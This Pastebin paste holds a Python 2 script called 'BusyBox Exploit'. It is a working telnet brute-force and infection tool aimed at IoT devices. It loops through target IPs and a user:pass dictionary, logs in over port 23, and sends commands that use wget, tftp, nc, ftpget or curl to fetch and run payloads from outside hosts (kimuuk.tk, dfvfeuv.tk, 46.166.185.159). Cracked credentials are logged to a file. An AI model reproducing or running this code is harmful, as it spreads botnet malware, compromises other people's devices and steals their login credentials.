mysql_Anarchy

[ PYTHON ] BusyBox Exploit

Jun 9th, 2018
883
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.11 KB | None | 0 0
  1. #!/usr/bin/env python
  2. #
  3. #
  4. # I didnt really check for back doors so please be careful  
  5. #
  6. #
  7. #
  8. from Queue import *
  9. from sys import stdout
  10. import threading, sys, time, random, socket, re, os, logging
  11. if len(sys.argv) < 5:
  12.     print "Example: python %s targets.txt dictionary.txt <threads(1-100)> <ips per scan(100-1000)>" % (str(sys.argv[0]))
  13.     print "Dictionary should be in user:pass format"
  14.     sys.exit(1)
  15.    
  16. print "\x1b[1;32m***********************\x1b[1;35m"
  17. print "\x1b[1;32m* YAAAAAAAAAAAAAAAAAA *\x1b[1;35m"
  18. print "\x1b[1;32m***********************\x1b[1;35m"
  19.  
  20. #ip=sys.argv[1]
  21. filename=sys.argv[2]
  22. threads = int(sys.argv[3])
  23. h0h0 = int(sys.argv[4])
  24. ips = open(sys.argv[1], "r").readlines()
  25. queue = Queue()
  26. qcount = 0
  27.  
  28. #cd /tmp || cd /var/run || cd /etc || cd /mnt || cd /root || cd /; rm -rf busybox dvrHelper; wget http://kimuuk.tk/bins/bins.sh -O dvrHelper ; cp /bin/busybox ./; busybox cat dvrHelper > busybox;./busybox ;rm -rf busybox dvrHelper
  29. wget = "cd /tmp || cd /var || cd /dev/shm || cd /var/tmp || cd /root || cd /; wget http://dfvfeuv.tk/bins/bins.sh -O dvrHelper ; cp /bin/busybox ./; busybox cat dvrHelper > busybox;./busybox ;rm -rf busybox dvrHelper"
  30. #echo = "cd /var/; rm -rf busybox filename; rm -rf busybox armv4l.sh; echo -ne 'GET /armv4l.sh HTTP/1.0\r\nHost: 46.166.185.159\r\n\r\n' | nc 46.166.185.159 80 > armv4l.sh; chmod +x *; sed -i 1,9d armv4l.sh; cp /bin/busybox ./; busybox cat armv4l.sh > armv4l.sh; chmod +x armv4l.sh; ./armv4l.sh; rm -rf busybox armv4l.sh;"
  31. tftp1 = "cd /tmp || cd /var/run || cd /etc || cd /mnt || cd /root || cd /; rm -rf busybox dvrHelper; tftp 46.166.185.159 -c get bins.sh; mv bins.sh dvrHelper ; cp /bin/busybox ./; busybox cat dvrHelper > busybox;./busybox ;rm -rf busybox dvrHelper"
  32. tftp2 = "cd /tmp || cd /var/run || cd /etc || cd /mnt || cd /root || cd /; rm -rf busybox dvrHelper; tftp -r bins.sh -g 46.166.185.159; mv bins.sh dvrHelper ; cp /bin/busybox ./; busybox cat dvrHelper > busybox;./busybox ;rm -rf busybox dvrHelper"
  33. #ftpget = "cd /var/; rm -rf armv4l; ftpget -v -u anonymous -p anonymous -P 21 46.166.185.159 armv4l armv4l; cp /bin/busybox ./; busybox cat armv4l > busybox; ./busybox; rm -rf busybox armv4l;"
  34. #curl = "cd /var/; rm -rf armv4l; curl -O http://kimuuk.tk/bins/armv4l; cp /bin/busybox ./; busybox cat armv4l > busybox; ./busybox; rm -rf busybox armv4l;"
  35.  
  36. for ip in ips:
  37.     qcount += 1
  38.     stdout.write("\r[%d] Added to queue" % qcount)
  39.     stdout.flush()
  40.     queue.put(ip)
  41. print "\n"
  42.    
  43. def readUntil(tn, string, timeout=20):
  44.     buf = ''
  45.     start_time = time.time()
  46.     while time.time() - start_time < timeout:
  47.         buf += tn.recv(1024)
  48.         time.sleep(0.01)
  49.         if string in buf: return buf
  50.     #raise Exception('TIMEOUT!')
  51.    
  52. def worker():
  53.     try:
  54.         while True:
  55.             try:
  56.                 if queue.empty() == True:
  57.                     sys.exit(1)
  58.                 iplist = []
  59.                 h0h0h0 = h0h0 + 1
  60.                 #print "\033[33mGathering IPs\033[37m"%(ip.rstrip("\n"))
  61.                 for x in xrange(h0h0h0):
  62.                     ip = queue.get()
  63.                     iplist.append(ip)
  64.                     #print "\033[33mIP Address Obtained \033[32m%s\033[37m"%(ip.rstrip("\n"))
  65.                     queue.task_done()
  66.                 time.sleep(1.5)
  67.                 for ip in iplist:
  68.                     t = threading.Thread(target=ipthread, args=(ip.rstrip(),"null"))
  69.                     t.start()
  70.                     time.sleep(0.009)
  71.                 time.sleep(1)
  72.                 #print "\033[32mStarting Telnet Threads\033[37m"
  73.             except:
  74.                 print "\033[31mWORKER ERROR\033[37m" #will fuk up if more threads/workers then ips in list
  75.                 pass
  76.     except:
  77.         pass
  78.    
  79.  
  80. def attempt(IP,UserName,Password):
  81.         try:
  82.             ip=IP
  83.             username=UserName
  84.             password=Password
  85.             tn = socket.socket()
  86.             tn.settimeout(5)
  87.             tn.connect((IP, 23))
  88.         #except Exception:
  89.             #print "[%s] Timeout"%(count)
  90.         #try:
  91.             time.sleep(0.01)
  92.             hoho = ''
  93.             hoho += readUntil(tn, ":")
  94.             if "ogin" in hoho or "sername" in hoho:
  95.                 tn.send(UserName + "\n")
  96.         except Exception:
  97.             tn.close()
  98.         try:
  99.             hoho = ''
  100.             hoho += readUntil(tn, ":")
  101.             if "assword" in hoho:
  102.                 tn.send(Password + "\n")
  103.                 tn.send("wget\n")
  104.                 tn.send("tftp\n")
  105.                 tn.send("ifconfig\n")
  106.                 time.sleep(3)
  107.         except Exception:
  108.             tn.close()
  109.         try:
  110.             mp = ''
  111.             mp += tn.recv(1024)
  112.             #if "#" in mp or "$" in mp or "@" in mp or ">" in mp:
  113.             if "addr" in mp or "Usage" in mp or "wget:" in mp or "tftp:" in mp or "ifconfig:" in mp or "@" in mp:
  114.                 tn.send(wget + "\n")
  115.                 #tn.send(echo + "\n")
  116.                 tn.send(tftp1 + "\n")
  117.                 tn.send(tftp2 + "\n")
  118.                 #tn.send(ftpget + "\n")
  119.                 #tn.send(curl + "\n")
  120.                 print '\x1b[1;32mFound \x1b[1;31m '+IP+':23 \x1b[1;35m'+UserName+':\x1b[1;36m'+Password+'\x1b[1;33m'
  121.                 f = open('session.txt', 'a')
  122.                 f.write("%s:23 %s:%s\n" % (IP, UserName, Password))
  123.                 f.close()
  124.                 time.sleep(15)
  125.                 tn.close()             
  126.         except Exception:
  127.             tn.close()
  128.  
  129. def ipthread(ip,null):
  130.     fd = open(filename, "r")
  131.     for line in fd.readlines():
  132.     username, password = line.strip().split(":")
  133.     t = threading.Thread(target=attempt, args=(ip,username,password))
  134.     t.start()
  135.     time.sleep(0.3)
  136.     fd.close()
  137.            
  138. for g in xrange(threads):
  139.     t = threading.Thread(target=worker)
  140.     t.setDaemon(True)
  141.     t.start()
  142.     time.sleep(0.001)
  143.    
  144. queue.join()
  145. print "Finished!"
Advertisement
Add Comment
Please, Sign In to add comment